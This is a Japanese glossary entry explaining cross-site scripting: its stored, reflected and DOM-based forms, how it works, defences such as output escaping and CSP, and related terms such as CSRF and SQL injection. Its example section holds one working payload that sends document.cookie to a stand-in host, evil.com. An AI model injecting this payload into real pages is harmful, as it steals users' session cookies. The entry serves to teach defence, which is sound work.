XSS
XSS(クロスサイトスクリプティング)は、攻撃者が悪意あるスクリプトをページに注入し、他のユーザーのブラウザで実行させる攻撃である。保存型、反射型、DOMベース型がある。
目的
信頼されたページの文脈で悪意あるスクリプトが実行されるのを防ぎ、ユーザーのセッションとデータを保護する。
メカニズム
攻撃者は<script>をページに注入する(データベース経由で保存、URLパラメータ経由で反射、クライアント側のDOM操作でDOMベース)。スクリプトは被害者のブラウザでそのセッション権限で動き、Cookieの盗難、リクエストの発行、ページの改ざんを行う。防御策は出力エスケープ、CSP、HttpOnly Cookieである。
ユースケース
- エスケープなしのユーザー入力の描画
- コメントやリッチテキストのインジェクション
- URLパラメータのページへの反映
- サードパーティスクリプトの注入
例
- 入力
<script>fetch("evil.com?c="+document.cookie)</script>OutputSteals the user cookiesStored XSS
よくあるエラー
- Escaping only < > while missing quotes in attribute contexts
- Escape per context: HTML/attribute/JS/URL
関連用語
CSRF
CSRF(クロスサイトリクエストフォージェリ)は、攻撃者がログイン中のユーザーを騙して、知らないうちに悪意あるリクエストを対象サイトへ送らせる脆弱性である。 用語集
CSP
CSP(Content Security Policy)は、HTTP ヘッダーでページが読み込めるリソースのオリジンを宣言し、XSS やデータ注入の攻撃面を縮める。 用語集
HTML Entities
HTML エンティティは、HTML で特別な意味を持つ文字(<、>、&、")を &name; や &#NNN; の形式にエスケープし、マークアップとして解釈されず文字どおり表示させる。 用語集
SQL Injection
SQL インジェクションは、攻撃者が悪意のある SQL 断片をクエリ文字列に継ぎ足し、データベースに意図しないコマンドを実行させる攻撃である。 用語集